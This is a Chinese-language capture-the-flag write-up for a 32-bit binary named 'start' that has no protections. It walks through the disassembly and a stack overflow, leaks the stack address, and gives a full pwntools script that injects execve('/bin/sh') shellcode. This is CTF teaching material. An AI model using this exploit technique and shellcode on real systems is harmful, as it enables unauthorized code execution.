看一下保护:

    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)

没有开的。

看一下汇编:

.text:08048060 ; __int64 start()
.text:08048060                 public _start
.text:08048060 _start          proc near               ; DATA XREF: LOAD:08048018↑o
.text:08048060                 push    esp
.text:08048061                 push    offset _exit
.text:08048066                 xor     eax, eax
.text:08048068                 xor     ebx, ebx
.text:0804806A                 xor     ecx, ecx
.text:0804806C                 xor     edx, edx
.text:0804806E                 push    ':FTC'
.text:08048073                 push    ' eht'
.text:08048078                 push    ' tra'
.text:0804807D                 push    'ts s'
.text:08048082                 push    2774654Ch
.text:08048087                 mov     ecx, esp        ; addr
.text:08048089                 mov     dl, 14h         ; len
.text:0804808B                 mov     bl, 1           ; fd
.text:0804808D                 mov     al, 4
.text:0804808F                 int     80h             ; LINUX - sys_write
.text:08048091                 xor     ebx, ebx
.text:08048093                 mov     dl, 3Ch ; '<'
.text:08048095                 mov     al, 3
.text:08048097                 int     80h             ; LINUX -
.text:08048099                 add     esp, 14h
.text:0804809C                 retn
.text:0804809C _start          endp ; sp-analysis failed

简单来说就是先输出一段字符串,再读一段字符串最后退出。读入的时候,buf 指向的的地址为 esp,buf 大小为 0x3C,可以覆盖到 _exit 上:

old esp
offset _exit <-- 只需要写 20 字节
':FTC'
' eht'
' tra'
'ts s'
2774654Ch <-- esp

因此我们可以把 shellcode 布局到栈上,然后做一个 ret2shellcode。

shellcode 就是简单的通过 sys_execve 系统调用执行 /bin/sh 方法啦。

接下来的问题是怎样才能找到 shellcode 的地址,我们可以泄露最开始 push 的 esp 的地址。

那么 crack 的流程为:

  • 首先覆盖返回值为 0x08048087,这样在指行到返回地址的时候,esp 会加 0x14,指向的就是 old esp 了;
  • 然后代码会输出 old esp 的值,再次进入读数据的阶段;
  • 此时将 shellcode 写入,根据 esp 的偏移设置返回地址。注意到第二次 esp 又加了 0x14,因此我们需要在返回地址上也补充一个 0x14。

最终代码为:

from pwn import *
 
context.arch = 'i386'
context.terminal = ['tmux', 'splitw', '-h']
# context.terminal = ['tmux', 'splitw', '-w']
# context.log_level = 'DEBUG'
 
io = process("./start")
 
payload = b'a'*20+p32(0x08048087)
io.sendafter(b"CTF:", payload)
 
# leak esp
old_esp = u32(io.recv(4))
print(f"old sp: {hex(old_esp)}")
 
shellcode = """
xor ecx,ecx
push ecx
push {}
push {}
mov ebx, esp
xor edx,edx
mov al, 0xb
int 0x80
""".format(u32('n/sh'),u32('//bi'))
 
# pwn
shellcode_loc = old_esp+20
payload = b'a'*20+p32(shellcode_loc)+asm(shellcode)
io.send(payload)
 
io.interactive()

技巧:

  • 因为是 read,因此这里用 sendafter 系列函数就好;
  • 为了避免 \x00 截断,我们可以先往栈上 push 一个值为 0 的寄存器

参考资料